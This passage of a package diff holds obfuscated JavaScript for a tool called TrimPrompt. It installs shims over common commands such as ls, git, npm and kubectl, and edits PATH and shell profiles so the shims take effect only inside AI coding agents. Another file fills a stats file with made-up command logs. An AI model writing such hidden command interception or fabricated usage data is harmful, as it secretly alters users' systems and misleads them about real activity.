22','utf8','cat','mkdirSync','win32','442292gauIHc','\x20%*','if\x20\x22%AI_AGENT%\x22==\x22\x22\x20if\x20\x22%CURSOR_AGENT%\x22==\x22\x22\x20if\x20\x22%CLAUDECODE%\x22==\x22\x22\x20if\x20\x22%CLAUDE_CODE%\x22==\x22\x22\x20if\x20\x22%ANTIGRAVITY_AGENT%\x22==\x22\x22\x20if\x20\x22%GEMINI_CLI%\x22==\x22\x22\x20if\x20\x22%TRIMPROMPT_ACTIVE%\x22==\x22\x22\x20(',')\x20else\x20(','.bash_profile','readdirSync','trim.cmd','802564XoULXv','ignore','try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27','create','\x27\x20-Name\x20AutoRun\x20-Value\x20\x27','yarn','existsSync','pipe','[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)','__esModule','hasOwnProperty','HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor','\x20\x22$@\x22;\x20fi\x0aelse\x0a\x20\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x22s|','164062UtbFMT','\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x27s|[^:]*\x5c.trimprompt/shims:||g\x27);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20','\x20\x20\x20👉\x20Please\x20restart\x20your\x20terminal\x20window\x20or\x20AI\x20editor\x20(Cursor/Claude)','\x20\x20trim\x20','writable',':$PATH\x22\x0a','.bashrc',';\x22\x20+\x20$env:PATH\x0a','rmdirSync','__createBinding','.cmd','\x20@args\x20}\x20else\x20{\x20&\x20','TrimPrompt\x20shims\x20fully\x20uninstalled.\x20All\x20PATH\x20modifications,\x20shell\x20profiles,\x20and\x20registry\x20entries\x20have\x20been\x20cleaned\x20up.','\x20\x20set\x20\x22PATH=%PATH:','execSync','default','pip3','\x0a#\x20','get','readFileSync','3777385zDoaEU','kubectl','4094508GeoxPF','map','$PROFILE.CurrentUserAllHosts','Failed\x20to\x20uninstall\x20shims:\x20','\x20\x20\x20\x20\x20\x20for\x20the\x20installation\x20to\x20take\x20effect.','pnpm','\x20commands.\x0a\x0a[WARNING]\x20Could\x20not\x20automatically\x20update\x20your\x20system\x20PATH.\x20','defineProperty','TrimPrompt\x20successfully\x20installed\x20for\x20','powershell','%~dp0..\x5c..\x5cAppData\x5cRoaming\x5cnpm\x5ctrim.cmd','replace','toLowerCase','find','[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27','length',';=%\x22',':$PATH\x22','powershell.exe','filter','message','unlinkSync','\x27,\x20\x27User\x27)','child_process'];a0_0x1426=function(){return _0x1d3243;};return a0_0x1426();}var __createBinding=this&&this[a0_0x132661(0x112)]||(Object['create']?function(_0x51f1ef,_0x5e295f,_0x4c214a,_0x2ec7e8){const _0x2219f4=a0_0x132661;if(_0x2ec7e8===undefined)_0x2ec7e8=_0x4c214a;var _0x207a4f=Object[_0x2219f4(0xdd)](_0x5e295f,_0x4c214a);(!_0x207a4f||(_0x2219f4(0x99)in _0x207a4f?!_0x5e295f[_0x2219f4(0x105)]:_0x207a4f[_0x2219f4(0x10d)]||_0x207a4f[_0x2219f4(0xc6)]))&&(_0x207a4f={'enumerable':!![],'get':function(){return _0x5e295f[_0x4c214a];}}),Object[_0x2219f4(0xa4)](_0x51f1ef,_0x2ec7e8,_0x207a4f);}:function(_0x1b09df,_0x4e54c6,_0x21902c,_0x55a914){if(_0x55a914===undefined)_0x55a914=_0x21902c;_0x1b09df[_0x55a914]=_0x4e54c6[_0x21902c];}),__setModuleDefault=this&&this[a0_0x132661(0xc3)]||(Object[a0_0x132661(0xff)]?function(_0x389c23,_0x1da9e2){const _0x690cc8=a0_0x132661;Object['defineProperty'](_0x389c23,_0x690cc8(0x118),{'enumerable':!![],'value':_0x1da9e2});}:function(_0x2165ca,_0x163752){const _0x3360ce=a0_0x132661;_0x2165ca[_0x3360ce(0x118)]=_0x163752;}),__importStar=this&&this[a0_0x132661(0xda)]||(function(){var _0x2930e2=function(_0x5cdf33){return _0x2930e2=Object['getOwnPropertyNames']||function(_0x2e7fc0){const _0x4e37cc=a0_0x466d;var _0x43ffc6=[];for(var _0x30be9e in _0x2e7fc0)if(Object['prototype'][_0x4e37cc(0x106)]['call'](_0x2e7fc0,_0x30be9e))_0x43ffc6[_0x43ffc6[_0x4e37cc(0xac)]]=_0x30be9e;return _0x43ffc6;},_0x2930e2(_0x5cdf33);};return function(_0x35a022){const _0xa6f31c=a0_0x466d;if(_0x35a022&&_0x35a022[_0xa6f31c(0x105)])return _0x35a022;var _0x1cf134={};if(_0x35a022!=null){for(var _0x56f8b9=_0x2930e2(_0x35a022),_0x507c11=0x0;_0x507c11<_0x56f8b9['length'];_0x507c11++)if(_0x56f8b9[_0x507c11]!==_0xa6f31c(0x118))__createBinding(_0x1cf134,_0x35a022,_0x56f8b9[_0x507c11]);}return __setModuleDefault(_0x1cf134,_0x35a022),_0x1cf134;};}());Object[a0_0x132661(0xa4)](exports,a0_0x132661(0x105),{'value':!![]}),exports[a0_0x132661(0xcf)]=installShims,exports['uninstallShims']=uninstallShims;function a0_0x466d(_0x5351c3,_0x22561f){_0x5351c3=_0x5351c3-0x99;const _0x142602=a0_0x1426();let _0x466d18=_0x142602[_0x5351c3];return _0x466d18;}const fs=__importStar(require('fs')),path=__importStar(require(a0_0x132661(0xd6))),os=__importStar(require('os')),SHIMMED_COMMANDS=['ls',a0_0x132661(0xe4),a0_0x132661(0xf2),'read','grep','rg',a0_0x132661(0xd7),a0_0x132661(0xde),'gh',a0_0x132661(0xce),'cargo',a0_0x132661(0xd1),a0_0x132661(0xa2),a0_0x132661(0xdc),a0_0x132661(0x101),a0_0x132661(0x9c),'docker',a0_0x132661(0xb9),a0_0x132661(0xba),a0_0x132661(0x119),'go',a0_0x132661(0xaa)],PROFILE_MARKER=a0_0x132661(0xb5);function getExecSync(){const _0x576ad9=a0_0x132661;return require(_0x576ad9(0xb4))[_0x576ad9(0x117)];}function getExecFileSync(){const _0x16d715=a0_0x132661;return require(_0x16d715(0xb4))['execFileSync'];}function ensureProfileContains(_0x2282d2,_0x4f048f,_0x3eaac2){const _0x52c380=a0_0x132661;try{const _0x42ed27=path[_0x52c380(0xc8)](_0x2282d2);!fs['existsSync'](_0x42ed27)&&fs[_0x52c380(0xf3)](_0x42ed27,{'recursive':!![]});if(fs[_0x52c380(0x102)](_0x2282d2)){const _0x98d896=fs[_0x52c380(0x9a)](_0x2282d2,_0x52c380(0xf1));if(_0x98d896[_0x52c380(0xd5)](_0x4f048f))return;fs['appendFileSync'](_0x2282d2,_0x3eaac2,_0x52c380(0xf1));}else fs[_0x52c380(0xd8)](_0x2282d2,_0x3eaac2,_0x52c380(0xf1));}catch{}}function removeProfileBlock(_0x128d75,_0x4edac6){const _0x3e68f8=a0_0x132661;try{if(!fs[_0x3e68f8(0x102)](_0x128d75))return;const _0x3ba83f=fs[_0x3e68f8(0x9a)](_0x128d75,_0x3e68f8(0xf1));if(!_0x3ba83f[_0x3e68f8(0xd5)](_0x4edac6))return;const _0x2408d1=_0x3ba83f[_0x3e68f8(0xef)]('\x0a'),_0x3a941e=[];let _0x2dd4bc=![];for(let _0x2b171d=0x0;_0x2b171d<_0x2408d1[_0x3e68f8(0xac)];_0x2b171d++){if(_0x2408d1[_0x2b171d][_0x3e68f8(0xd5)](_0x4edac6)){_0x2dd4bc=!![];continue;}if(_0x2dd4bc){_0x2dd4bc=![];continue;}_0x3a941e[_0x3e68f8(0xec)](_0x2408d1[_0x2b171d]);}const _0xaef5f0=_0x3a941e[_0x3e68f8(0xb8)]('\x0a')['replace'](/\n{3,}/g,'\x0a\x0a');fs[_0x3e68f8(0xd8)](_0x128d75,_0xaef5f0,_0x3e68f8(0xf1));}catch{}}function collectPowerShellProfiles(){const _0x95252e=a0_0x132661,_0x2f6ec2=getExecSync(),_0x595e95=[],_0x1c49cc=[[_0x95252e(0xa6),_0x95252e(0xc7)],[_0x95252e(0xa6),_0x95252e(0x9f)]];try{_0x2f6ec2(_0x95252e(0xc9),{'stdio':_0x95252e(0xfd)}),_0x1c49cc[_0x95252e(0xec)]([_0x95252e(0xdb),_0x95252e(0x9f)]);}catch{}for(const [_0x57eb3c,_0x1d812f]of _0x1c49cc){try{const _0x478089=_0x2f6ec2(_0x57eb3c+_0x95252e(0xd0)+_0x1d812f+'\x22',{'encoding':_0x95252e(0xf1)})['trim']();_0x478089&&!_0x595e95[_0x95252e(0xe5)](_0x2d308f=>_0x2d308f['toLowerCase']()===_0x478089[_0x95252e(0xa9)]())&&_0x595e95[_0x95252e(0xec)](_0x478089);}catch{}}return _0x595e95;}function getBashProfilesWindows(){const _0x2d807c=a0_0x132661,_0xb02a9a=os[_0x2d807c(0xeb)]();return[_0x2d807c(0x10f),_0x2d807c(0xf9)][_0x2d807c(0x9e)](_0x5af89a=>path[_0x2d807c(0xb8)](_0xb02a9a,_0x5af89a));}function getBroadcastCommand(){const _0x336dc5=a0_0x132661;return _0x336dc5(0xe7);}function installShims(){const _0x3a5826=a0_0x132661,_0x1b29bd=path['join'](os[_0x3a5826(0xeb)](),_0x3a5826(0xea),_0x3a5826(0xb6));try{!fs[_0x3a5826(0x102)](_0x1b29bd)&&fs[_0x3a5826(0xf3)](_0x1b29bd,{'recursive':!![]});const _0x5583b8=os[_0x3a5826(0xc2)]()===_0x3a5826(0xf4);for(const _0x14c9a8 of SHIMMED_COMMANDS){if(_0x5583b8){const _0x156e86=path['join'](_0x1b29bd,_0x14c9a8+_0x3a5826(0x113)),_0x14dc72=process.env.APPDATA?path['join'](process.env.APPDATA,_0x3a5826(0xd1)):'',_0x1126fe=_0x14dc72?path['join'](_0x14dc72,_0x3a5826(0xfb)):_0x3a5826(0xa7),_0x4cab87=['@echo\x20off',_0x3a5826(0xf7),_0x3a5826(0x116)+_0x1b29bd+_0x3a5826(0xad),'\x20\x20'+_0x14c9a8+_0x3a5826(0xf6),'\x20\x20exit\x20/b\x20%ERRORLEVEL%',')',_0x3a5826(0xd9)+_0x1126fe+_0x3a5826(0xe0),_0x3a5826(0x10c)+_0x14c9a8+_0x3a5826(0xf6),_0x3a5826(0xf8),_0x3a5826(0x116)+_0x1b29bd+';=%\x22','\x20\x20'+_0x14c9a8+'\x20%*',')']['join']('\x0d\x0a')+'\x0d\x0a';fs[_0x3a5826(0xd8)](_0x156e86,_0x4cab87,_0x3a5826(0xf1));const _0x43723b=path['join'](_0x1b29bd,_0x14c9a8+'.ps1'),_0x38889f=_0x3a5826(0xe9)+_0x14c9a8+_0x3a5826(0x114)+_0x14c9a8+'\x20@args\x20}\x0a}\x20else\x20{\x0a\x20\x20&\x20'+_0x14c9a8+'\x20@args\x0a}\x0a';fs[_0x3a5826(0xd8)](_0x43723b,_0x38889f,_0x3a5826(0xf1));const _0x527601=path[_0x3a5826(0xb8)](_0x1b29bd,_0x14c9a8),_0x4ac390=_0x1b29bd[_0x3a5826(0xa8)](/\\/g,'/')[_0x3a5826(0xa8)](/^([A-Za-z]):/,(_0x4ce288,_0x3291a8)=>'/'+_0x3291a8['toLowerCase']()),_0x4312ea=_0x3a5826(0xee)+_0x14c9a8+_0x3a5826(0xbc)+_0x4ac390+_0x3a5826(0xbf)+_0x14c9a8+_0x3a5826(0x108)+_0x4ac390+_0x3a5826(0xbb)+_0x14c9a8+'\x20\x22$@\x22\x0afi\x0a';fs['writeFileSync'](_0x527601,_0x4312ea,_0x3a5826(0xf1));}else{const _0x412d45=path[_0x3a5826(0xb8)](_0x1b29bd,_0x14c9a8),_0x2ec8f0=_0x3a5826(0xc5)+_0x14c9a8+_0x3a5826(0x10a)+_0x14c9a8+_0x3a5826(0xed);fs[_0x3a5826(0xd8)](_0x412d45,_0x2ec8f0,'utf8'),fs[_0x3a5826(0xbe)](_0x412d45,_0x3a5826(0xe1));}}let _0x22dc92=![],_0x220e83='';if(_0x5583b8)try{const _0x5cd563=getExecSync(),_0x382168=_0x3a5826(0x11a)+PROFILE_MARKER+'\x0a$env:PATH\x20=\x20\x22'+_0x1b29bd+_0x3a5826(0x110),_0x19cf91=collectPowerShellProfiles();for(const _0x5b368f of _0x19cf91){ensureProfileContains(_0x5b368f,_0x1b29bd,_0x382168);}try{const _0x197e0a=_0x1b29bd[_0x3a5826(0xa8)](/\\/g,'/')[_0x3a5826(0xa8)](/^([A-Za-z]):/,(_0x4dd7ff,_0x33a4d3)=>'/'+_0x33a4d3[_0x3a5826(0xa9)]()),_0xdf1037=_0x3a5826(0x11a)+PROFILE_MARKER+'\x0aexport\x20PATH=\x22'+_0x197e0a+_0x3a5826(0x10e),_0x1245b5=getBashProfilesWindows();let _0x4e81f7=![];for(const _0x4c0ba2 of _0x1245b5){fs[_0x3a5826(0x102)](_0x4c0ba2)&&(ensureProfileContains(_0x4c0ba2,_0x197e0a,_0xdf1037),_0x4e81f7=!![]);}!_0x4e81f7&&ensureProfileContains(_0x1245b5[0x0],_0x197e0a,_0xdf1037);}catch{}const _0x204a4c=_0x3a5826(0x104),_0x4ffb37=_0x5cd563(_0x3a5826(0xf0)+_0x204a4c+'\x22',{'encoding':'utf8','stdio':[_0x3a5826(0x103),'pipe',_0x3a5826(0xfd)]})[_0x3a5826(0xd4)]();if(!_0x4ffb37[_0x3a5826(0xd5)](_0x1b29bd)){const _0x45bae6=_0x1b29bd+';'+_0x4ffb37,_0x27fefd=_0x45bae6[_0x3a5826(0xa8)](/'/g,'\x27\x27'),_0x5a4ba2=_0x3a5826(0xab)+_0x27fefd+_0x3a5826(0xb3);_0x5cd563('powershell\x20-NoProfile\x20-Command\x20\x22'+_0x5a4ba2+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x3a5826(0xfd)});}const _0x393c55=path[_0x3a5826(0xb8)](process.env.APPDATA||'',_0x3a5826(0xd1),'trim.ps1');if(fs['existsSync'](_0x393c55))try{fs[_0x3a5826(0xb2)](_0x393c55);}catch{}_0x22dc92=!![];}catch(_0x3294c6){_0x220e83='Please\x20add\x20the\x20following\x20path\x20to\x20the\x20front\x20of\x20your\x20User\x20PATH\x20environment\x20variable\x20manually:\x0a\x20\x20'+_0x1b29bd;}else try{const _0x55aa2b=_0x3a5826(0xb7)+_0x1b29bd+_0x3a5826(0x10e),_0x5e9b4e=os[_0x3a5826(0xeb)](),_0x1e2174=[_0x3a5826(0x10f),_0x3a5826(0xd3),_0x3a5826(0xf9),_0x3a5826(0xcc)];let _0x40ecbc=![];for(const _0x595631 of _0x1e2174){const _0x195ceb=path['join'](_0x5e9b4e,_0x595631);fs[_0x3a5826(0x102)](_0x195ceb)&&(ensureProfileContains(_0x195ceb,_0x1b29bd,_0x3a5826(0x11a)+PROFILE_MARKER+'\x0a'+_0x55aa2b),_0x40ecbc=!![]);}if(!_0x40ecbc){const _0x187a97=path[_0x3a5826(0xb8)](_0x5e9b4e,_0x3a5826(0x10f));ensureProfileContains(_0x187a97,_0x1b29bd,_0x3a5826(0x11a)+PROFILE_MARKER+'\x0a'+_0x55aa2b);}_0x22dc92=!![];}catch(_0x30008e){_0x220e83='Please\x20add\x20this\x20to\x20your\x20shell\x20profile\x20(~/.bashrc,\x20~/.zshrc)\x20manually:\x0a\x20\x20export\x20PATH=\x22'+_0x1b29bd+_0x3a5826(0xae);}const _0xa6bbe0=[_0x3a5826(0xcb),'\x20\x20\x20\x20\x20\x20[IMPORTANT]\x20TrimPrompt\x20successfully\x20installed!','================================================================================',_0x3a5826(0x10b),_0x3a5826(0xa1),_0x3a5826(0xcb)]['join']('\x0a'),_0xf733d6=_0x22dc92?_0xa6bbe0:_0x3a5826(0xa5)+SHIMMED_COMMANDS[_0x3a5826(0xac)]+_0x3a5826(0xa3)+_0x220e83;return{'success':!![],'pathDir':_0x1b29bd,'message':_0xf733d6};}catch(_0x257932){return{'success':![],'pathDir':_0x1b29bd,'message':_0x3a5826(0xe3)+_0x257932[_0x3a5826(0xb1)]};}}function uninstallShims(){const _0x50dd57=a0_0x132661,_0x33133f=path[_0x50dd57(0xb8)](os['homedir'](),'.trimprompt',_0x50dd57(0xb6)),_0x21f6e2=os[_0x50dd57(0xc2)]()===_0x50dd57(0xf4);try{if(_0x21f6e2){const _0x1e899d=getExecSync();try{const _0x408b64=getExecFileSync(),_0x1d40f9=_0x50dd57(0x107),_0x5cf02c=_0x50dd57(0xfe)+_0x1d40f9+'\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}',_0x1dc8ac=_0x408b64(_0x50dd57(0xaf),['-NoProfile',_0x50dd57(0xe2),_0x5cf02c],{'encoding':_0x50dd57(0xf1),'stdio':[_0x50dd57(0x103),_0x50dd57(0x103),_0x50dd57(0xfd)]})[_0x50dd57(0xd4)]();if(_0x1dc8ac[_0x50dd57(0xd5)](_0x33133f)){const _0x144fc5=_0x1dc8ac[_0x50dd57(0xef)]('\x20&\x20')[_0x50dd57(0xb0)](_0x4270cb=>!_0x4270cb[_0x50dd57(0xd5)](_0x33133f));if(_0x144fc5[_0x50dd57(0xac)]===0x0){const _0x33d0b8=_0x50dd57(0xe6)+_0x1d40f9+_0x50dd57(0xc1);_0x408b64(_0x50dd57(0xaf),['-NoProfile',_0x50dd57(0xe2),_0x33d0b8],{'stdio':_0x50dd57(0xfd)});}else{const _0x4ff5c6=_0x144fc5[_0x50dd57(0xb8)](_0x50dd57(0xdf)),_0x2989b1='Set-ItemProperty\x20-Path\x20\x27'+_0x1d40f9+_0x50dd57(0x100)+_0x4ff5c6+'\x27';_0x408b64(_0x50dd57(0xaf),[_0x50dd57(0xbd),'-Command',_0x2989b1],{'stdio':_0x50dd57(0xfd)});}}}catch{}try{const _0x19f816=collectPowerShellProfiles();for(const _0x3391cf of _0x19f816){removeProfileBlock(_0x3391cf,PROFILE_MARKER);}}catch{}try{for(const _0x171999 of getBashProfilesWindows()){removeProfileBlock(_0x171999,PROFILE_MARKER);}}catch{}try{const _0x166484=_0x50dd57(0x104),_0x2ffa80=_0x1e899d(_0x50dd57(0xf0)+_0x166484+'\x22',{'encoding':_0x50dd57(0xf1),'stdio':['pipe','pipe',_0x50dd57(0xfd)]})[_0x50dd57(0xd4)]();if(_0x2ffa80[_0x50dd57(0xd5)](_0x33133f)){const _0x1d1193=_0x2ffa80[_0x50dd57(0xef)](';')['filter'](_0x49399f=>_0x49399f[_0x50dd57(0xd4)]()[_0x50dd57(0xa9)]()!==_0x33133f[_0x50dd57(0xa9)]())['join'](';'),_0x1ca726=_0x1d1193[_0x50dd57(0xa8)](/'/g,'\x27\x27'),_0x306555=_0x50dd57(0xab)+_0x1ca726+'\x27,\x20\x27User\x27)';_0x1e899d(_0x50dd57(0xf0)+_0x306555+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x50dd57(0xfd)});}}catch{}}else{const _0x429da5=os[_0x50dd57(0xeb)](),_0x2d41ac=[_0x50dd57(0x10f),_0x50dd57(0xd3),_0x50dd57(0xf9),_0x50dd57(0xcc)];for(const _0x33a4be of _0x2d41ac){removeProfileBlock(path[_0x50dd57(0xb8)](_0x429da5,_0x33a4be),PROFILE_MARKER);}}if(fs[_0x50dd57(0x102)](_0x33133f)){const _0x2cb680=fs[_0x50dd57(0xfa)](_0x33133f);for(const _0x475715 of _0x2cb680){fs['unlinkSync'](path[_0x50dd57(0xb8)](_0x33133f,_0x475715));}fs[_0x50dd57(0x111)](_0x33133f);}return{'success':!![],'message':_0x50dd57(0x115)};}catch(_0x3299b7){return{'success':![],'message':_0x50dd57(0xa0)+_0x3299b7[_0x50dd57(0xb1)]};}}
|
package/simulate.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const
|
|
1
|
+
'use strict';const a0_0x4b2bc7=a0_0x372a;function a0_0x31da(){const _0x4333b0=['1621541FFovgC','pip\x20install:\x20Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3','homedir','6969263ERieaa','npm\x20run\x20lint:\x20✖\x202\x20warnings','comp','redis-master-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','44qjnOqY','gpt-4o-mini','Collecting\x20tensorflow\x0a\x20\x20Downloading\x20tensorflow-2.15.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl\x20(475.2\x20MB)\x0a','random','1550512bamKTz','2300515khjleV','\x20...\x20ok\x0atest\x20result:\x20ok.\x2045\x20passed;\x200\x20failed;\x200\x20ignored;\x200\x20measured;\x200\x20filtered\x20out','log','NAME\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20READY\x20\x20\x20STATUS\x20\x20\x20\x20RESTARTS\x20\x20\x20AGE\x0a','path','toISOString','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x20(50\x20insertions,\x200\x20deletions)','writeFileSync','\x20\x20Installing\x20build\x20dependencies\x20...\x20done\x0a','git\x20diff\x20main','kubectl\x20get\x20pods:\x20trimprompt-api\x20(Running),\x20trimprompt-sync\x20(Running),\x20redis-master\x20(Running),\x20postgres-db\x20(Running)','cargo\x20test','aws\x20s3\x20sync:\x203\x20assets\x20uploaded\x20successfully.','join','commit\x20f6e5d4c3b2a1\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2013:30:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20fix:\x20adjust\x20margins\x20on\x20visual\x20graph','npm\x20install:\x20added\x2084\x20packages,\x20audited\x2096\x20packages.\x200\x20vulnerabilities.','cargo\x20test:\x2045\x20passed,\x200\x20failed.','gemini-1-5-flash','6xpFxXl','Completed\x203\x20of\x203\x20assets\x20successfully.','length','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x0aindex\x201234..5678\x20100644\x0a---\x20a/src/cli.ts\x0a+++\x20b/src/cli.ts\x0a@@\x20-10,6\x20+10,12\x20@@\x0a+\x20//\x20Added\x20new\x20telemetry\x20features\x0a+\x20console.log(\x22Initializing\x20sync\x20daemon...\x22);\x0a+\x20startSync();\x0a','postgres-db-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','found\x200\x20vulnerabilities\x0a','✖\x202\x20problems\x20(0\x20errors,\x202\x20warnings)\x0a','./tracker','defineProperty','src/tracker.ts:45:9\x20-\x20warning:\x20console.log\x20should\x20be\x20removed\x0a','cmd','62AfbbXx','Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3\x0a','pip\x20install\x20tensorflow\x20pandas\x20numpy','now','upload:\x20dist/index.html\x20to\x20s3://trimprompt-assets/index.html\x0a','npm\x20install\x20lodash\x20express\x20uuid\x20react','trimprompt-api-567fdb7d6-x8w9q\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','8RubjIW','logExecution','running\x2045\x20tests\x0atest\x20tests::db_connection\x20...\x20ok\x0atest\x20tests::auth_handler\x20...\x20ok\x0a','gemini-1-5-pro','.trimprompt','git\x20log\x20-n\x205','upload:\x20dist/hub-index.html\x20to\x20s3://trimprompt-assets/hub-index.html\x0a','aws\x20s3\x20sync\x20dist/\x20s3://trimprompt-assets','12448953rpyxDm','raw','tracker','utf8','claude-3-opus','workflow\x20simulation\x20complete!\x2012\x20additional\x20commands\x20logged.','commit\x20a1b2c3d4e5f6\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2014:00:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20feat:\x20add\x20dynamic\x20token\x20costs\x0a\x0a','5842510uDuimK','gpt-4o','added\x2084\x20packages,\x20changed\x2012\x20packages,\x20and\x20audited\x2096\x20packages\x20in\x203s\x0a','stats.json','trimprompt-sync-324db87d1-p8q2e\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','getLogs','git\x20log:\x205\x20commits\x20(feat:\x20add\x20dynamic\x20token\x20costs,\x20fix:\x20adjust\x20margins...)','repeat','29379HClpdJ'];a0_0x31da=function(){return _0x4333b0;};return a0_0x31da();}(function(_0x2ab90e,_0x4cb74c){const _0xc2b903=a0_0x372a,_0x241433=_0x2ab90e();while(!![]){try{const _0x29628d=parseInt(_0xc2b903(0x15c))/0x1+-parseInt(_0xc2b903(0x13d))/0x2*(-parseInt(_0xc2b903(0x15b))/0x3)+parseInt(_0xc2b903(0x11f))/0x4+parseInt(_0xc2b903(0x120))/0x5+parseInt(_0xc2b903(0x132))/0x6*(-parseInt(_0xc2b903(0x15f))/0x7)+-parseInt(_0xc2b903(0x144))/0x8*(-parseInt(_0xc2b903(0x14c))/0x9)+parseInt(_0xc2b903(0x153))/0xa*(-parseInt(_0xc2b903(0x163))/0xb);if(_0x29628d===_0x4cb74c)break;else _0x241433['push'](_0x241433['shift']());}catch(_0x340816){_0x241433['push'](_0x241433['shift']());}}}(a0_0x31da,0xc90a3));Object[a0_0x4b2bc7(0x13a)](exports,'__esModule',{'value':!![]});function a0_0x372a(_0x53b4cd,_0x2eaaf7){_0x53b4cd=_0x53b4cd-0x11c;const _0x31dac1=a0_0x31da();let _0x372ab7=_0x31dac1[_0x53b4cd];return _0x372ab7;}const tracker_1=require(a0_0x4b2bc7(0x139));console[a0_0x4b2bc7(0x122)]('Starting\x20simulation\x20of\x20developer\x20workflow\x20activity...');const models=['claude-3-5-sonnet',a0_0x4b2bc7(0x154),a0_0x4b2bc7(0x11c),a0_0x4b2bc7(0x147),a0_0x4b2bc7(0x131),a0_0x4b2bc7(0x150)],commands=[{'cmd':a0_0x4b2bc7(0x129),'raw':a0_0x4b2bc7(0x135)[a0_0x4b2bc7(0x15a)](0x32),'comp':a0_0x4b2bc7(0x126),'exitCode':0x0},{'cmd':a0_0x4b2bc7(0x12b),'raw':a0_0x4b2bc7(0x146)+'test\x20tests::test_case_'[a0_0x4b2bc7(0x15a)](0x28)+a0_0x4b2bc7(0x121),'comp':a0_0x4b2bc7(0x130),'exitCode':0x0},{'cmd':a0_0x4b2bc7(0x142),'raw':'npm\x20warn\x20deprecated\x20uuid@3.4.0:\x20Please\x20upgrade...\x0a'+a0_0x4b2bc7(0x155)+a0_0x4b2bc7(0x137),'comp':a0_0x4b2bc7(0x12f),'exitCode':0x0},{'cmd':a0_0x4b2bc7(0x14b),'raw':a0_0x4b2bc7(0x141)+a0_0x4b2bc7(0x14a)+'upload:\x20dist/cli.js\x20to\x20s3://trimprompt-assets/cli.js\x0a'+a0_0x4b2bc7(0x133),'comp':a0_0x4b2bc7(0x12c),'exitCode':0x0},{'cmd':'kubectl\x20get\x20pods\x20-n\x20production','raw':a0_0x4b2bc7(0x123)+a0_0x4b2bc7(0x143)+a0_0x4b2bc7(0x157)+a0_0x4b2bc7(0x162)+a0_0x4b2bc7(0x136),'comp':a0_0x4b2bc7(0x12a),'exitCode':0x0},{'cmd':a0_0x4b2bc7(0x13f),'raw':a0_0x4b2bc7(0x11d)+a0_0x4b2bc7(0x128)+a0_0x4b2bc7(0x13e),'comp':a0_0x4b2bc7(0x15d),'exitCode':0x0},{'cmd':a0_0x4b2bc7(0x149),'raw':a0_0x4b2bc7(0x152)+a0_0x4b2bc7(0x12e),'comp':a0_0x4b2bc7(0x159),'exitCode':0x0},{'cmd':'npm\x20run\x20lint','raw':'src/cli.ts:12:3\x20-\x20warning:\x20unused\x20import\x0a'+a0_0x4b2bc7(0x13b)+a0_0x4b2bc7(0x138),'comp':a0_0x4b2bc7(0x160),'exitCode':0x0}],startTime=Date[a0_0x4b2bc7(0x140)]()-0x36ee80;for(let i=0x0;i<0xc;i++){const model=models[i%models['length']],commandItem=commands[Math['floor'](Math[a0_0x4b2bc7(0x11e)]()*commands['length'])];process.env.TRIMPROMPT_MODEL=model;const timestamp=new Date(startTime+i*0x3d090)[a0_0x4b2bc7(0x125)](),log=tracker_1[a0_0x4b2bc7(0x14e)][a0_0x4b2bc7(0x145)](commandItem[a0_0x4b2bc7(0x13c)],commandItem[a0_0x4b2bc7(0x14d)],commandItem[a0_0x4b2bc7(0x161)],commandItem['exitCode']),logs=tracker_1['tracker'][a0_0x4b2bc7(0x158)]();logs[a0_0x4b2bc7(0x134)]>0x0&&(logs[logs['length']-0x1]['timestamp']=timestamp,require('fs')[a0_0x4b2bc7(0x127)](require(a0_0x4b2bc7(0x124))[a0_0x4b2bc7(0x12d)](require('os')[a0_0x4b2bc7(0x15e)](),a0_0x4b2bc7(0x148),a0_0x4b2bc7(0x156)),JSON['stringify'](logs,null,0x2),a0_0x4b2bc7(0x14f)));}console[a0_0x4b2bc7(0x122)](a0_0x4b2bc7(0x151));
|
package/sync.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
